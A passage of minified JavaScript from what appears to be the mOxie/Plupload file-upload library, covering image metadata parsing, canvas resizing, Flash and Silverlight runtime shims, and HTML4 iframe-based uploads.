p(i.get("app1")[0])}catch(e){}o=t.call(this),c.extend(this,{type:"image/jpeg",size:r.length(),width:o&&o.width||0,height:o&&o.height||0,setExif:function(e,t){return!!n&&("object"===c.typeOf(e)?c.each(e,function(e,t){n.setExif(t,e)}):n.setExif(e,t),void i.set("app1",n.SEGMENT()))},writeHeaders:function(){return arguments.length?i.restore(arguments[0]):i.restore(e)},stripHeaders:function(e){return i.strip(e)},purge:function(){(function(){n&&i&&r&&(n.clear(),i.purge(),r.clear(),o=i=n=r=null)}).call(this)}}),n&&(this.meta={tiff:n.TIFF(),exif:n.EXIF(),gps:n.GPS(),thumb:(u=n.thumb(),u&&(s=new h(u),a=t(s),s.clear(),a)?(a.data=u,a):null)})}}),e("moxie/runtime/html5/image/PNG",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader"],function(r,o,s){return function(e){function t(){n&&(n.clear(),e=i=n=null)}var n,i;n=new s(e),function(){var e=0,t=0,i=[35152,20039,3338,6666];for(t=0;t<i.length;t++,e+=2)if(i[t]!=n.SHORT(e))throw new r.ImageError(r.ImageError.WRONG_FORMAT)}(),i=function(){var e,t;return"IHDR"==(e=function(e){var t;return{length:t=n.LONG(e),type:n.STRING(e+=4,4),start:e+=4,CRC:n.LONG(e+t)}}.call(this,8)).type?(t=e.start,{width:n.LONG(t),height:n.LONG(t+=4)}):null}.call(this),o.extend(this,{type:"image/png",size:n.length(),width:i.width,height:i.height,purge:function(){t.call(this)}}),t.call(this)}}),e("moxie/runtime/html5/image/ImageInfo",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEG","moxie/runtime/html5/image/PNG"],function(n,r,o,s){return function(t){var e,i=[o,s];e=function(){for(var e=0;e<i.length;e++)try{return new i[e](t)}catch(e){}throw new r.ImageError(r.ImageError.WRONG_FORMAT)}(),n.extend(this,{type:"",size:0,width:0,height:0,setExif:function(){},writeHeaders:function(e){return e},stripHeaders:function(e){return e},purge:function(){t=null}}),n.extend(this,e),this.purge=function(){e.purge(),e=null}}}),e("moxie/runtime/html5/image/ResizerCanvas",[],function(){return{scale:function e(t,i,n){var r=t.width>t.height?"width":"height",o=Math.round(t[r]*i),s=!1;"nearest"!==n&&(i<.5||2<i)&&(i=i<.5?.5:2,s=!0);var a,u,c,l,d,h,p,m=(u=i,c=(a=t).width,l=a.height,d=Math.round(c*u),h=Math.round(l*u),(p=document.createElement("canvas")).width=d,p.height=h,p.getContext("2d").drawImage(a,0,0,c,l,0,0,d,h),a=null,p);return s?e(m,o/m[r],n):m}}}),e("moxie/runtime/html5/image/Image",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/runtime/html5/image/ImageInfo","moxie/runtime/html5/image/ResizerCanvas","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,g,x,v,i,y,_,E,w){return e.Image=function(){function o(){if(!l&&!u)throw new x.ImageError(x.DOMException.INVALID_STATE_ERR);return l||u}function n(){var e=o();return"canvas"==e.nodeName.toLowerCase()?e:((l=document.createElement("canvas")).width=e.width,l.height=e.height,l.getContext("2d").drawImage(e,0,0),l)}function r(e){return v.atob(e.substring(e.indexOf("base64,")+7))}function s(e){var t,i=this;(u=new Image).onerror=function(){a.call(this),i.trigger("error",x.ImageError.WRONG_FORMAT)},u.onload=function(){i.trigger("load")},u.src="data:"==e.substr(0,5)?e:(t=e,"data:"+(h.type||"")+";base64,"+v.btoa(t))}function a(){c&&(c.purge(),c=null),d=u=l=h=null,m=!1}var u,c,l,d,h,p=this,m=!1,f=!0;g.extend(this,{loadFromBlob:function(e){var t=this.getRuntime(),i=!(1<arguments.length)||arguments[1];if(!t.can("access_binary"))throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);return(h=e).isDetached()?(d=e.getSource(),void s.call(this,d)):void function(e,t){var i,n=this;return window.FileReader?((i=new FileReader).onload=function(){t.call(n,this.result)},i.onerror=function(){n.trigger("error",x.ImageError.WRONG_FORMAT)},void i.readAsDataURL(e)):t.call(this,e.getAsDataURL())}.call(this,e.getSource(),function(e){i&&(d=r(e)),s.call(this,e)})},loadFromImage:function(e,t){this.meta=e.meta,h=new y(null,{name:e.name,size:e.size,type:e.type}),s.call(this,t?d=e.getAsBinaryString():e.getAsDataURL())},getInfo:function(){var e,t=this.getRuntime();return!c&&d&&t.can("access_image_binary")&&(c=new _(d)),e={width:o().width||0,height:o().height||0,type:h.type||w.getFileMime(h.name),size:d&&d.length||h.size||0,name:h.name||"",meta:null},f&&(e.meta=c&&c.meta||this.meta||{},!e.meta||!e.meta.thumb||e.meta.thumb.data instanceof i||(e.meta.thumb.data=new i(null,{type:"image/jpeg",data:e.meta.thumb.data}))),e},resize:function(e,t,i){var n=document.createElement("canvas");if(n.width=e.width,n.height=e.height,n.getContext("2d").drawImage(o(),e.x,e.y,e.width,e.height,0,0,n.width,n.height),l=E.scale(n,t),!(f=i.preserveHeaders)){var r=this.meta&&this.meta.tiff&&this.meta.tiff.Orientation||1;l=function(e,t){var i=Math.PI/180,n=document.createElement("canvas"),r=n.getContext("2d"),o=e.width,s=e.height;switch(-1<g.inArray(t,[5,6,7,8])?(n.width=s,n.height=o):(n.width=o,n.height=s),t){case 2:r.translate(o,0),r.scale(-1,1);break;case 3:r.translate(o,s),r.rotate(180*i);break;case 4:r.translate(0,s),r.scale(1,-1);break;case 5:r.rotate(90*i),r.scale(1,-1);break;case 6:r.rotate(90*i),r.translate(0,-s);break;case 7:r.rotate(90*i),r.translate(o,-s),r.scale(-1,1);break;case 8:r.rotate(-90*i),r.translate(-o,0)}return r.drawImage(e,0,0,o,s),n}(l,r)}this.width=l.width,this.height=l.height,m=!0,this.trigger("Resize")},getAsCanvas:function(){return l||(l=n()),l.id=this.uid+"_canvas",l},getAsBlob:function(e,t){return e!==this.type?(m=!0,new y(null,{name:h.name||"",type:e,data:p.getAsDataURL(e,t)})):new y(null,{name:h.name||"",type:e,data:p.getAsBinaryString(e,t)})},getAsDataURL:function(e){var t=arguments[1]||90;if(!m)return u.src;if(n(),"image/jpeg"!==e)return l.toDataURL("image/png");try{return l.toDataURL("image/jpeg",t/100)}catch(e){return l.toDataURL("image/jpeg")}},getAsBinaryString:function(e,t){if(!m)return d||(d=r(p.getAsDataURL(e,t))),d;if("image/jpeg"!==e)d=r(p.getAsDataURL(e,t));else{var i;t||(t=90),n();try{i=l.toDataURL("image/jpeg",t/100)}catch(e){i=l.toDataURL("image/jpeg")}d=r(i),c&&(d=c.stripHeaders(d),f&&(c.meta&&c.meta.exif&&c.setExif({PixelXDimension:this.width,PixelYDimension:this.height}),d=c.writeHeaders(d)),c.purge(),c=null)}return m=!1,d},destroy:function(){p=null,a.call(this),this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/flash/Runtime",["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/runtime/Runtime"],function(s,a,u,c,l){var t={};return l.addConstructor("flash",function(n){var r,e,o=this;n=s.extend({swf_url:a.swf_url},n),l.call(this,n,"flash",{access_binary:function(e){return e&&"browser"===o.mode},access_image_binary:function(e){return e&&"browser"===o.mode},display_media:l.capTest(d("moxie/image/Image")),do_cors:l.capTrue,drag_and_drop:!1,report_upload_progress:function(){return"client"===o.mode},resize_image:l.capTrue,return_response_headers:!1,return_response_type:function(e){return!("json"!==e||!window.JSON)||!s.arrayDiff(e,["","text","document"])||"browser"===o.mode},return_status_code:function(e){return"browser"===o.mode||!s.arrayDiff(e,[200,404])},select_file:l.capTrue,select_multiple:l.capTrue,send_binary_string:function(e){return e&&"browser"===o.mode},send_browser_cookies:function(e){return e&&"browser"===o.mode},send_custom_headers:function(e){return e&&"browser"===o.mode},send_multipart:l.capTrue,slice_blob:function(e){return e&&"browser"===o.mode},stream_upload:function(e){return e&&"browser"===o.mode},summon_file_dialog:!1,upload_filesize:function(e){return s.parseSizeStr(e)<=2097152||"client"===o.mode},use_http_method:function(e){return!s.arrayDiff(e,["GET","POST"])}},{access_binary:function(e){return e?"browser":"client"},access_image_binary:function(e){return e?"browser":"client"},report_upload_progress:function(e){return e?"browser":"client"},return_response_type:function(e){return s.arrayDiff(e,["","text","json","document"])?"browser":["client","browser"]},return_status_code:function(e){return s.arrayDiff(e,[200,404])?"browser":["client","browser"]},send_binary_string:function(e){return e?"browser":"client"},send_browser_cookies:function(e){return e?"browser":"client"},send_custom_headers:function(e){return e?"browser":"client"},slice_blob:function(e){return e?"browser":"client"},stream_upload:function(e){return e?"client":"browser"},upload_filesize:function(e){return 2097152<=s.parseSizeStr(e)?"client":"browser"}},"client"),function(){var t;try{t=(t=navigator.plugins["Shockwave Flash"]).description}catch(e){try{t=new ActiveXObject("ShockwaveFlash.ShockwaveFlash").GetVariable("$version")}catch(e){t="0.0"}}return t=t.match(/\d+/g),parseFloat(t[0]+"."+t[1])}()<11.3&&(this.mode=!1),s.extend(this,{getShim:function(){return u.get(this.uid)},shimExec:function(e,t){var i=[].slice.call(arguments,2);return o.getShim().exec(this.uid,e,t,i)},init:function(){var e,t,i;i=this.getShimContainer(),s.extend(i.style,{position:"absolute",top:"-8px",left:"-8px",width:"9px",height:"9px",overflow:"hidden"}),e='<object id="'+this.uid+'" type="application/x-shockwave-flash" data="'+n.swf_url+'" ',"IE"===a.browser&&(e+='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" '),e+='width="100%" height="100%" style="outline:0"><param name="movie" value="'+n.swf_url+'" /><param name="flashvars" value="uid='+escape(this.uid)+"&target="+l.getGlobalEventTarget()+'" /><param name="wmode" value="transparent" /><param name="allowscriptaccess" value="always" /></object>',"IE"===a.browser?(t=document.createElement("div"),i.appendChild(t),t.outerHTML=e,t=i=null):i.innerHTML=e,r=setTimeout(function(){o&&!o.initialized&&o.trigger("Error",new c.RuntimeError(c.RuntimeError.NOT_INIT_ERR))},5e3)},destroy:(e=this.destroy,function(){var t,i;t=o.uid,(i=u.get(t))&&"OBJECT"==i.nodeName&&("IE"===a.browser?(i.style.display="none",function e(){4==i.readyState?function(e){var t=u.get(e);if(t){for(var i in t)"function"==typeof t[i]&&(t[i]=null);t.parentNode.removeChild(t)}}(t):setTimeout(e,10)}()):i.parentNode.removeChild(i)),e.call(o),clearTimeout(r),n=r=e=o=null})},t)}),t}),e("moxie/runtime/flash/file/Blob",["moxie/runtime/flash/Runtime","moxie/file/Blob"],function(e,o){var t={slice:function(e,t,i,n){var r=this.getRuntime();return t<0?t=Math.max(e.size+t,0):0<t&&(t=Math.min(t,e.size)),i<0?i=Math.max(e.size+i,0):0<i&&(i=Math.min(i,e.size)),(e=r.shimExec.call(this,"Blob","slice",t,i,n||""))&&(e=new o(r.uid,e)),e}};return e.Blob=t}),e("moxie/runtime/flash/file/FileInput",["moxie/runtime/flash/Runtime","moxie/file/File","moxie/core/utils/Dom","moxie/core/utils/Basic"],function(e,r,o,s){var t={init:function(e){var t=this,i=this.getRuntime(),n=o.get(e.browse_button);n&&(n.setAttribute("tabindex",-1),n=null),this.bind("Change",function(){var e=i.shimExec.call(t,"FileInput","getFiles");t.files=[],s.each(e,function(e){t.files.push(new r(i.uid,e))})},999),this.getRuntime().shimExec.call(this,"FileInput","init",{accept:e.accept,multiple:e.multiple}),this.trigger("ready")}};return e.FileInput=t}),e("moxie/runtime/flash/file/FileReader",["moxie/runtime/flash/Runtime","moxie/core/utils/Encode"],function(e,r){var t={read:function(i,e){var n=this;return n.result="","readAsDataURL"===i&&(n.result="data:"+(e.type||"")+";base64,"),n.bind("Progress",function(e,t){t&&(n.result+=function(e,t){switch(i){case"readAsText":return r.atob(e,"utf8");case"readAsBinaryString":return r.atob(e);case"readAsDataURL":return e}return null}(t))},999),n.getRuntime().shimExec.call(this,"FileReader","readAsBase64",e.uid)}};return e.FileReader=t}),e("moxie/runtime/flash/file/FileReaderSync",["moxie/runtime/flash/Runtime","moxie/core/utils/Encode"],function(e,n){var t={read:function(e,t){var i;return(i=this.getRuntime().shimExec.call(this,"FileReaderSync","readAsBase64",t.uid))?("readAsDataURL"===e&&(i="data:"+(t.type||"")+";base64,"+i),function(e,t){switch(t){case"readAsText":return n.atob(e,"utf8");case"readAsBinaryString":return n.atob(e);case"readAsDataURL":return e}return null}(i,e,t.type)):null}};return e.FileReaderSync=t}),e("moxie/runtime/flash/runtime/Transporter",["moxie/runtime/flash/Runtime","moxie/file/Blob"],function(e,n){var t={getAsBlob:function(e){var t=this.getRuntime(),i=t.shimExec.call(this,"Transporter","getAsBlob",e);return i?new n(t.uid,i):null}};return e.Transporter=t}),e("moxie/runtime/flash/xhr/XMLHttpRequest",["moxie/runtime/flash/Runtime","moxie/core/utils/Basic","moxie/file/Blob","moxie/file/File","moxie/file/FileReaderSync","moxie/runtime/flash/file/FileReaderSync","moxie/xhr/FormData","moxie/runtime/Transporter","moxie/runtime/flash/runtime/Transporter"],function(e,c,l,r,o,t,d,h){var i={send:function(e,i){function n(){e.transport=a.mode,a.shimExec.call(s,"XMLHttpRequest","send",e,i)}function t(e,t){a.shimExec.call(s,"XMLHttpRequest","appendBlob",e,t.uid),i=null,n()}function r(e,t){var i=new h;i.bind("TransportingComplete",function(){t(this.result)}),i.transport(e.getSource(),e.type,{ruid:a.uid})}var o,s=this,a=s.getRuntime();if(c.isEmptyObj(e.headers)||c.each(e.headers,function(e,t){a.shimExec.call(s,"XMLHttpRequest","setRequestHeader",t,e.toString())}),i instanceof d)if(i.each(function(e,t){e instanceof l?o=t:a.shimExec.call(s,"XMLHttpRequest","append",t,e)}),i.hasBlob()){var u=i.getBlob();u.isDetached()?r(u,function(e){u.destroy(),t(o,e)}):t(o,u)}else i=null,n();else i instanceof l?i.isDetached()?r(i,function(e){i.destroy(),i=e.uid,n()}):(i=i.uid,n()):n()},getResponse:function(e){var t,i,n=this.getRuntime();if(i=n.shimExec.call(this,"XMLHttpRequest","getResponseAsBlob")){if(i=new r(n.uid,i),"blob"===e)return i;try{if(t=new o,~c.inArray(e,["","text"]))return t.readAsText(i);if("json"===e&&window.JSON)return JSON.parse(t.readAsText(i))}finally{i.destroy()}}return null},abort:function(){this.getRuntime().shimExec.call(this,"XMLHttpRequest","abort"),this.dispatchEvent("readystatechange"),this.dispatchEvent("abort")}};return e.XMLHttpRequest=i}),e("moxie/runtime/flash/image/Image",["moxie/runtime/flash/Runtime","moxie/core/utils/Basic","moxie/runtime/Transporter","moxie/file/Blob","moxie/file/FileReaderSync"],function(e,t,o,r,i){var n={loadFromBlob:function(e){function t(e){n.shimExec.call(i,"Image","loadFromBlob",e.uid),i=n=null}var i=this,n=i.getRuntime();if(e.isDetached()){var r=new o;r.bind("TransportingComplete",function(){t(r.result.getSource())}),r.transport(e.getSource(),e.type,{ruid:n.uid})}else t(e.getSource())},loadFromImage:function(e){return this.getRuntime().shimExec.call(this,"Image","loadFromImage",e.uid)},getInfo:function(){var e=this.getRuntime(),t=e.shimExec.call(this,"Image","getInfo");return t.meta&&t.meta.thumb&&t.meta.thumb.data&&!(e.meta.thumb.data instanceof r)&&(t.meta.thumb.data=new r(e.uid,t.meta.thumb.data)),t},getAsBlob:function(e,t){var i=this.getRuntime(),n=i.shimExec.call(this,"Image","getAsBlob",e,t);return n?new r(i.uid,n):null},getAsDataURL:function(){var e=this.getRuntime().Image.getAsBlob.apply(this,arguments);return e?(new i).readAsDataURL(e):null}};return e.Image=n}),e("moxie/runtime/silverlight/Runtime",["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/runtime/Runtime"],function(r,o,s,a,u){var c="silverlight",l={};return u.addConstructor(c,function(e){var t,i,n=this;e=r.extend({xap_url:o.xap_url},e),u.call(this,e,c,{access_binary:u.capTrue,access_image_binary:u.capTrue,display_media:u.capTest(d("moxie/image/Image")),do_cors:u.capTrue,drag_and_drop:!1,report_upload_progress:u.capTrue,resize_image:u.capTrue,return_response_headers:function(e){return e&&"client"===n.mode},return_response_type:function(e){return"json"!==e||!!window.JSON},return_status_code:function(e){return"client"===n.mode||!r.arrayDiff(e,[200,404])},select_file:u.capTrue,select_multiple:u.capTrue,send_binary_string:u.capTrue,send_browser_cookies:function(e){return e&&"browser"===n.mode},send_custom_headers:function(e){return e&&"client"===n.mode},send_multipart:u.capTrue,slice_blob:u.capTrue,stream_upload:!0,summon_file_dialog:!1,upload_filesize:u.capTrue,use_http_method:function(e){return"client"===n.mode||!r.arrayDiff(e,["GET","POST"])}},{return_response_headers:function(e){return e?"client":"browser"},return_status_code:function(e){return r.arrayDiff(e,[200,404])?"client":["client","browser"]},send_browser_cookies:function(e){return e?"browser":"client"},send_custom_headers:function(e){return e?"client":"browser"},use_http_method:function(e){return r.arrayDiff(e,["GET","POST"])?"client":["client","browser"]}}),function(t){var i,n,r,o,s,a=!1,u=0;try{try{new ActiveXObject("AgControl.AgControl").IsVersionSupported(t)&&(a=!0)}catch(e){var c=navigator.plugins["Silverlight Plug-In"];if(c){for("1.0.30226.2"===(i=c.description)&&(i="2.0.30226.2"),n=i.split(".");3<n.length;)n.pop();for(;n.length<4;)n.push(0);for(r=t.split(".");4<r.length;)r.pop();for(;o=parseInt(r[u],10),s=parseInt(n[u],10),++u<r.length&&o===s;);o<=s&&!isNaN(o)&&(a=!0)}}}catch(e){a=!1}return a}("2.0.31005.0")&&"Opera"!==o.browser||(this.mode=!1),r.extend(this,{getShim:function(){return s.get(this.uid).content.Moxie},shimExec:function(e,t){var i=[].slice.call(arguments,2);return n.getShim().exec(this.uid,e,t,i)},init:function(){this.getShimContainer().innerHTML='<object id="'+this.uid+'" data="data:application/x-silverlight," type="application/x-silverlight-2" width="100%" height="100%" style="outline:none;"><param name="source" value="'+e.xap_url+'"/><param name="background" value="Transparent"/><param name="windowless" value="true"/><param name="enablehtmlaccess" value="true"/><param name="initParams" value="uid='+this.uid+",target="+u.getGlobalEventTarget()+'"/></object>',t=setTimeout(function(){n&&!n.initialized&&n.trigger("Error",new a.RuntimeError(a.RuntimeError.NOT_INIT_ERR))},"Windows"!==o.OS?1e4:5e3)},destroy:(i=this.destroy,function(){i.call(n),clearTimeout(t),e=t=i=n=null})},l)}),l}),e("moxie/runtime/silverlight/file/Blob",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/file/Blob"],function(e,t,i){return e.Blob=t.extend({},i)}),e("moxie/runtime/silverlight/file/FileInput",["moxie/runtime/silverlight/Runtime","moxie/file/File","moxie/core/utils/Dom","moxie/core/utils/Basic"],function(e,r,o,s){function a(e){for(var t="",i=0;i<e.length;i++)t+=(""!==t?"|":"")+e[i].title+" | *."+e[i].extensions.replace(/,/g,";*.");return t}var t={init:function(e){var t=this,i=this.getRuntime(),n=o.get(e.browse_button);n&&(n.setAttribute("tabindex",-1),n=null),this.bind("Change",function(){var e=i.shimExec.call(t,"FileInput","getFiles");t.files=[],s.each(e,function(e){t.files.push(new r(i.uid,e))})},999),i.shimExec.call(this,"FileInput","init",a(e.accept),e.multiple),this.trigger("ready")},setOption:function(e,t){"accept"==e&&(t=a(t)),this.getRuntime().shimExec.call(this,"FileInput","setOption",e,t)}};return e.FileInput=t}),e("moxie/runtime/silverlight/file/FileDrop",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Dom","moxie/core/utils/Events"],function(e,i,n){var t={init:function(){var e,t=this.getRuntime();return e=t.getShimContainer(),n.addEvent(e,"dragover",function(e){e.preventDefault(),e.stopPropagation(),e.dataTransfer.dropEffect="copy"},this.uid),n.addEvent(e,"dragenter",function(e){e.preventDefault(),i.get(t.uid).dragEnter(e)&&e.stopPropagation()},this.uid),n.addEvent(e,"drop",function(e){e.preventDefault(),i.get(t.uid).dragDrop(e)&&e.stopPropagation()},this.uid),t.shimExec.call(this,"FileDrop","init")}};return e.FileDrop=t}),e("moxie/runtime/silverlight/file/FileReader",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/file/FileReader"],function(e,t,i){return e.FileReader=t.extend({},i)}),e("moxie/runtime/silverlight/file/FileReaderSync",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/file/FileReaderSync"],function(e,t,i){return e.FileReaderSync=t.extend({},i)}),e("moxie/runtime/silverlight/runtime/Transporter",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/runtime/Transporter"],function(e,t,i){return e.Transporter=t.extend({},i)}),e("moxie/runtime/silverlight/xhr/XMLHttpRequest",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/runtime/flash/xhr/XMLHttpRequest","moxie/runtime/silverlight/file/FileReaderSync","moxie/runtime/silverlight/runtime/Transporter"],function(e,t,i){return e.XMLHttpRequest=t.extend({},i)}),e("moxie/runtime/silverlight/image/Image",["moxie/runtime/silverlight/Runtime","moxie/core/utils/Basic","moxie/file/Blob","moxie/runtime/flash/image/Image"],function(e,t,i,n){return e.Image=t.extend({},n,{getInfo:function(){var e=this.getRuntime(),s={meta:{}},a=e.shimExec.call(this,"Image","getInfo");return a.meta&&(t.each(["tiff","exif","gps","thumb"],function(e){var t,i,n,r,o=a.meta[e];if(o&&o.keys)for(s.meta[e]={},i=0,n=o.keys.length;i<n;i++)(r=o[t=o.keys[i]])&&(/^(\d|[1-9]\d+)$/.test(r)?r=parseInt(r,10):/^\d*\.\d+$/.test(r)&&(r=parseFloat(r)),s.meta[e][t]=r)}),s.meta&&s.meta.thumb&&s.meta.thumb.data&&!(e.meta.thumb.data instanceof i)&&(s.meta.thumb.data=new i(e.uid,s.meta.thumb.data))),s.width=parseInt(a.width,10),s.height=parseInt(a.height,10),s.size=parseInt(a.size,10),s.type=a.type,s.name=a.name,s},resize:function(e,t,i){this.getRuntime().shimExec.call(this,"Image","resize",e.x,e.y,e.width,e.height,t,i.preserveHeaders,i.resample)}})}),e("moxie/runtime/html4/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(o,e,s,a){var u={};return s.addConstructor("html4",function(e){var t,i=this,n=s.capTest,r=s.capTrue;s.call(this,e,"html4",{access_binary:n(window.FileReader||window.File&&File.getAsDataURL),access_image_binary:!1,display_media:n((a.can("create_canvas")||a.can("use_data_uri_over32kb"))&&d("moxie/image/Image")),do_cors:!1,drag_and_drop:!1,filter_by_extension:n(!("Chrome"===a.browser&&a.verComp(a.version,28,"<")||"IE"===a.browser&&a.verComp(a.version,10,"<")||"Safari"===a.browser&&a.verComp(a.version,11,"<=")||"Firefox"===a.browser&&a.verComp(a.version,37,"<")||"iOS"===a.os||"Android"===a.os)),resize_image:function(){return u.Image&&i.can("access_binary")&&a.can("create_canvas")},report_upload_progress:!1,return_response_headers:!1,return_response_type:function(e){return!("json"!==e||!window.JSON)||!!~o.inArray(e,["text","document",""])},return_status_code:function(e){return!o.arrayDiff(e,[200,404])},select_file:function(){return a.can("use_fileinput")},select_multiple:!1,send_binary_string:!1,send_custom_headers:!1,send_multipart:!0,slice_blob:!1,stream_upload:function(){return i.can("select_file")},summon_file_dialog:function(){return i.can("select_file")&&!("Firefox"===a.browser&&a.verComp(a.version,4,"<")||"Opera"===a.browser&&a.verComp(a.version,12,"<")||"IE"===a.browser&&a.verComp(a.version,10,"<"))},upload_filesize:r,use_http_method:function(e){return!o.arrayDiff(e,["GET","POST"])}}),o.extend(this,{init:function(){this.trigger("Init")},destroy:(t=this.destroy,function(){t.call(i),t=i=null})}),o.extend(this.getShim(),u)}),u}),e("moxie/runtime/html4/file/FileInput",["moxie/runtime/html4/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,h,p,m,f,u,g){return e.FileInput=function(){var c,l,a,d=[];p.extend(this,{init:function(e){var t,i,n,r,o=this,s=o.getRuntime();l=e,d=u.extList2mimes(e.accept,s.can("filter_by_extension")),t=s.getShimContainer(),i=m.get(e.browse_button),a=m.getStyle(i,"z-index")||"auto",s.can("summon_file_dialog")?("static"===m.getStyle(i,"position")&&(i.style.position="relative"),o.bind("Refresh",function(){n=parseInt(a,10)||1,m.get(l.browse_button).style.zIndex=n,this.getRuntime().getShimContainer().style.zIndex=n-1})):i.setAttribute("tabindex",-1),r=s.can("summon_file_dialog")?i:t,f.addEvent(r,"mouseover",function(){o.trigger("mouseenter")},o.uid),f.addEvent(r,"mouseout",function(){o.trigger("mouseleave")},o.uid),f.addEvent(r,"mousedown",function(){o.trigger("mousedown")},o.uid),f.addEvent(m.get(e.container),"mouseup",function(){o.trigger("mouseup")},o.uid),i=null,function t(){var e,i,n,r,o,s,a=this,u=a.getRuntime();s=p.guid("uid_"),e=u.getShimContainer(),c&&(n=m.get(c+"_form"))&&(p.extend(n.style,{top:"100%"}),n.firstChild.setAttribute("tabindex",-1)),(r=document.createElement("form")).setAttribute("id",s+"_form"),r.setAttribute("method","post"),r.setAttribute("enctype","multipart/form-data"),r.setAttribute("encoding","multipart/form-data"),p.extend(r.style,{overflow:"hidden",position:"absolute",top:0,left:0,width:"100%",height:"100%"}),(o=document.createElement("input")).setAttribute("id",s),o.setAttribute("type","file"),o.setAttribute("accept",d.join(",")),u.can("summon_file_dialog")&&o.setAttribute("tabindex",-1),p.extend(o.style,{fontSize:"999px",opacity:0}),r.appendChild(o),e.appendChild(r),p.extend(o.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),"IE"===g.browser&&g.verComp(g.version,10,"<")&&p.extend(o.style,{filter:"progid:DXImageTransform.Microsoft.Alpha(opacity=0)"}),o.onchange=function(){var e;this.value&&(e=this.files?this.files[0]:{name:this.value},e=new h(u.uid,e),this.onchange=function(){},t.call(a),a.files=[e],o.setAttribute("id",e.uid),r.setAttribute("id",e.uid+"_form"),a.trigger("change"),o=r=null)},u.can("summon_file_dialog")&&(i=m.get(l.browse_button),f.removeEvent(i,"click",a.uid),f.addEvent(i,"click",function(e){o&&!o.disabled&&o.click(),e.preventDefault()},a.uid)),c=s,e=n=i=null}.call(this),t=null,o.trigger({type:"ready",async:!0})},setOption:function(e,t){var i,n=this.getRuntime();"accept"==e&&(d=t.mimes||u.extList2mimes(t,n.can("filter_by_extension"))),(i=m.get(c))&&i.setAttribute("accept",d.join(","))},disable:function(e){var t;(t=m.get(c))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),i=e.getShimContainer(),n=l&&m.get(l.container),r=l&&m.get(l.browse_button);n&&f.removeAllEvents(n,this.uid),r&&(f.removeAllEvents(r,this.uid),r.style.zIndex=a),i&&(f.removeAllEvents(i,this.uid),i.innerHTML=""),t.removeInstance(this.uid),c=d=l=i=n=r=t=null}})}}),e("moxie/runtime/html4/file/FileReader",["moxie/runtime/html4/Runtime","moxie/runtime/html5/file/FileReader"],function(e,t){return e.FileReader=t}),e("moxie/runtime/html4/xhr/XMLHttpRequest",["moxie/runtime/html4/Runtime","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Url","moxie/core/Exceptions","moxie/core/utils/Events","moxie/file/Blob","moxie/xhr/FormData"],function(e,m,f,g,x,v,y,_){return e.XMLHttpRequest=function(){function l(t){var e,i,n,r,o=this,s=!1;if(p){if(e=p.id.replace(/_iframe$/,""),i=f.get(e+"_form")){for(r=(n=i.getElementsByTagName("input")).length;r--;)switch(n[r].getAttribute("type")){case"hidden":n[r].parentNode.removeChild(n[r]);break;case"file":s=!0}n=[],s||i.parentNode.removeChild(i),i=null}setTimeout(function(){v.removeEvent(p,"load",o.uid),p.parentNode&&p.parentNode.removeChild(p);var e=o.getRuntime().getShimContainer();e.children.length||e.parentNode.removeChild(e),e=p=null,t()},1)}}var d,h,p;m.extend(this,{send:function(t,e){var i,n,r,o,s,a,u=this,c=u.getRuntime();if(d=h=null,e instanceof _&&e.hasBlob()){if(i=(o=e.getBlob()).uid,r=f.get(i),!(n=f.get(i+"_form")))throw new x.DOMException(x.DOMException.NOT_FOUND_ERR)}else i=m.guid("uid_"),(n=document.createElement("form")).setAttribute("id",i+"_form"),n.setAttribute("method",t.method),n.setAttribute("enctype","multipart/form-data"),n.setAttribute("encoding","multipart/form-data"),c.getShimContainer().appendChild(n);n.setAttribute("target",i+"_iframe"),e instanceof _&&e.each(function(e,t){if(e instanceof y)r&&r.setAttribute("name",t);else{var i=document.createElement("input");m.extend(i,{type:"hidden",name:t,value:e}),r?n.insertBefore(i,r):n.appendChild(i)}}),n.setAttribute("action",t.url),s=c.getShimContainer()||document.body,(a=document.createElement("div")).innerHTML='<iframe id="'+i+'_iframe" name="'+i+'_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>',p=a.firstChild,s.appendChild(p),v.addEvent(p,"load",function(){var e;try{e=p.contentWindow.document||p.contentDocument||window.frames[p.id].document,/^4(0[0-9]|1[0-7]|2[2346])\s/.test(e.title)?d=e.title.replace(/^(\d+).*$/,"$1"):(d=200,h=m.trim(e.body.innerHTML),u.trigger({type:"progress",loaded:h.length,total:h.length}),o&&u.trigger({type:"uploadprogress",loaded:o.size||1025,total:o.size||1025}))}catch(e){if(!g.hasSameOrigin(t.url))return void l.call(u,function(){u.trigger("error")});d=404}l.call(u,function(){u.trigger("load")})},u.uid),n.submit(),u.trigger("loadstart")},getStatus:function(){return d},getResponse:function(e){if("json"===e&&"string"===m.typeOf(h)&&window.JSON)try{return JSON.parse(h.replace(/^\s*<pre[^>]*>/,"").replace(/<\/pre>\s*$/,""))}catch(e){return null}return h},abort:function(){var 